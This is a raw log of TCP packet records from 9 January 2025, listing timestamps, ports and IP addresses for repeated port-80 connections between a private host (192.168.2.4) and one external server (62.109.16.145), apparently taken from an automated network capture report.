Jan 9, 2025 04:14:01.731867075 CET	80	50142	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:01.731889009 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.732033968 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.732033968 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.736824036 CET	80	50142	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.091430902 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.096376896 CET	80	50142	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.424588919 CET	80	50142	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.513031960 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.555676937 CET	80	50142	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.645553112 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.647594929 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.650582075 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.650641918 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.650883913 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.655822992 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.888926029 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.893804073 CET	80	50144	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.893934965 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.894021988 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:02.898850918 CET	80	50144	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:02.997478008 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.002470016 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.002480030 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.248173952 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.253103971 CET	80	50144	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.356801033 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.452172995 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.492805958 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.559914112 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.583853006 CET	80	50144	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.713679075 CET	80	50144	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.713762999 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.840383053 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.840523005 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.840572119 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.840940952 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.845530987 CET	80	50142	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.845575094 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.845813036 CET	80	50145	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.845890045 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.845930099 CET	80	50144	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.845940113 CET	80	50143	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:03.845972061 CET	50144	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.845998049 CET	50143	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.845999956 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:03.850824118 CET	80	50145	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:04.200674057 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.205576897 CET	80	50145	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:04.539165020 CET	80	50145	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:04.670263052 CET	80	50145	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:04.670321941 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.813747883 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.814388990 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.814510107 CET	50008	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.818648100 CET	80	50146	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:04.818711042 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.818869114 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:04.823677063 CET	80	50146	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:05.172178030 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.177098989 CET	80	50146	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:05.518003941 CET	80	50146	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:05.649864912 CET	80	50146	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:05.652271986 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.775619030 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.775625944 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.780457973 CET	80	50147	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:05.780807972 CET	80	50146	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:05.780900002 CET	50146	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.780903101 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.781091928 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:05.785862923 CET	80	50147	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:06.138154984 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.143083096 CET	80	50147	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:06.491861105 CET	80	50147	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:06.544279099 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.627377033 CET	80	50147	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:06.669292927 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.753328085 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.753645897 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.758502960 CET	80	50148	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:06.758517981 CET	80	50147	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:06.758559942 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.758582115 CET	50147	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.758760929 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:06.763608932 CET	80	50148	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:07.108185053 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.113138914 CET	80	50148	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:07.464644909 CET	80	50148	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:07.599256992 CET	80	50148	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:07.600275993 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.711400986 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.712192059 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.716422081 CET	80	50148	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:07.717030048 CET	80	50149	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:07.720305920 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.720355034 CET	50148	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.720427990 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:07.725233078 CET	80	50149	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.075716019 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.080676079 CET	80	50149	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.409673929 CET	80	50149	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.450553894 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.498600006 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.498851061 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.503681898 CET	80	50149	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.503694057 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.503734112 CET	50149	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.503771067 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.503874063 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.508599043 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.627410889 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.632278919 CET	80	50151	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.632339954 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.632461071 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.637181044 CET	80	50151	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.860189915 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.865132093 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.865149975 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:08.984200001 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:08.989049911 CET	80	50151	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.178623915 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.232184887 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.305301905 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.330590010 CET	80	50151	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.360186100 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.465377092 CET	80	50151	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.465471983 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.552336931 CET	80	50145	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.552584887 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.586357117 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.586368084 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.586587906 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.597471952 CET	80	50151	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.597485065 CET	80	50152	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.597659111 CET	50151	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.597659111 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.597745895 CET	80	50150	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.597815037 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.597836971 CET	50150	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.608572006 CET	80	50152	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:09.950640917 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:09.955480099 CET	80	50152	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:10.310956001 CET	80	50152	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:10.356800079 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.441561937 CET	80	50152	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:10.441787958 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.446717978 CET	80	50152	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:10.446765900 CET	50152	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.555083036 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.561099052 CET	80	50153	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:10.561163902 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.561285973 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.566087961 CET	80	50153	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:10.919581890 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:10.924504042 CET	80	50153	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:11.270622969 CET	80	50153	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:11.401650906 CET	80	50153	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:11.406263113 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.524226904 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.524230003 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.533298969 CET	80	50154	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:11.533318996 CET	80	50153	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:11.534245014 CET	50153	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.534245968 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.534545898 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.542620897 CET	80	50154	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:11.888390064 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:11.893254042 CET	80	50154	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:12.243576050 CET	80	50154	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:12.290498972 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.377501011 CET	80	50154	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:12.495321989 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.495484114 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.503456116 CET	80	50154	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:12.503503084 CET	50154	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.503586054 CET	80	50155	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:12.503654003 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.503731966 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.510684967 CET	80	50155	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:12.858433008 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:12.863276958 CET	80	50155	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:13.192733049 CET	80	50155	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:13.250243902 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.323631048 CET	80	50155	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:13.374475956 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.446661949 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.447138071 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.451740026 CET	80	50155	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:13.451944113 CET	80	50156	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:13.451971054 CET	50155	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.452193975 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.454340935 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.459868908 CET	80	50156	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:13.811079025 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:13.815965891 CET	80	50156	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.170819998 CET	80	50156	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.307295084 CET	80	50156	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.307344913 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.313081026 CET	50157	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.313186884 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.317969084 CET	80	50157	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.318030119 CET	50157	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.318136930 CET	80	50156	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.318181038 CET	50156	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.318332911 CET	50157	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.323051929 CET	80	50157	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.433705091 CET	50157	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.433981895 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.438755035 CET	80	50158	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.438811064 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.438905001 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.443722963 CET	80	50158	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.478940010 CET	80	50157	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.794492006 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:14.799490929 CET	80	50158	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.805977106 CET	80	50157	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:14.806122065 CET	50157	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.114459991 CET	80	50158	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:15.169322014 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.241112947 CET	80	50158	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:15.294318914 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.369965076 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.370429039 CET	50159	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.374970913 CET	80	50158	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:15.375111103 CET	50158	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.375201941 CET	80	50159	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:15.375317097 CET	50159	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.380204916 CET	50159	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.385020971 CET	80	50159	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:15.732213020 CET	50159	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:15.737097979 CET	80	50159	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:16.084182978 CET	80	50159	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:16.222992897 CET	80	50159	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:16.223063946 CET	50159	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:16.341099977 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:16.345980883 CET	80	50160	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:16.346060038 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:16.347577095 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:16.352397919 CET	80	50160	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:16.701379061 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:16.706268072 CET	80	50160	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:17.025855064 CET	80	50160	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:17.106843948 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.153517962 CET	80	50160	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:17.273761988 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.274003029 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.278748989 CET	80	50160	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:17.278908014 CET	50160	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.279056072 CET	80	50161	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:17.284316063 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.284378052 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.289488077 CET	80	50161	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:17.638159990 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:17.643089056 CET	80	50161	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.017225027 CET	80	50161	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.059967041 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.147394896 CET	80	50161	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.200587988 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.276525974 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.276724100 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.282345057 CET	80	50161	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.282357931 CET	80	50162	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.282399893 CET	50161	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.282423973 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.282521963 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.288614988 CET	80	50162	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.638150930 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:18.643095016 CET	80	50162	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:18.993397951 CET	80	50162	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.044480085 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.125848055 CET	80	50162	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.172215939 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.242538929 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.242950916 CET	50163	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.248070955 CET	80	50162	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.248147964 CET	50162	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.248424053 CET	80	50163	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.248528004 CET	50163	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.248608112 CET	50163	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.253665924 CET	80	50163	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.440711021 CET	50163	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.444222927 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.449017048 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.452337027 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.452431917 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.457324028 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.486979008 CET	80	50163	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.553776026 CET	50159	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.556564093 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.561420918 CET	80	50165	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.564325094 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.564407110 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.569143057 CET	80	50165	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.737371922 CET	80	50163	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.737483025 CET	50163	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.810055971 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.815041065 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.815318108 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:19.919934988 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:19.924858093 CET	80	50165	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.138360023 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.184961081 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.271806002 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.274317026 CET	80	50165	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.325584888 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.396594048 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.405580997 CET	80	50165	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.513107061 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.527461052 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.527623892 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.527739048 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.532507896 CET	80	50164	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.532553911 CET	50164	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.532617092 CET	80	50166	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.532675028 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.532785892 CET	80	50165	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.532792091 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.532824039 CET	50165	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.537555933 CET	80	50166	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:20.888228893 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:20.893100023 CET	80	50166	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:21.209167957 CET	80	50166	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:21.310034037 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.337770939 CET	80	50166	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:21.338006020 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.343024969 CET	80	50166	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:21.344321966 CET	50166	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.463346958 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.468218088 CET	80	50167	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:21.468349934 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.468605042 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.473419905 CET	80	50167	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:21.828236103 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:21.833478928 CET	80	50167	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:22.244172096 CET	80	50167	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:22.294349909 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.378424883 CET	80	50167	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:22.419336081 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.493788958 CET	50167	80	192.168.2.4	62.109.16.145
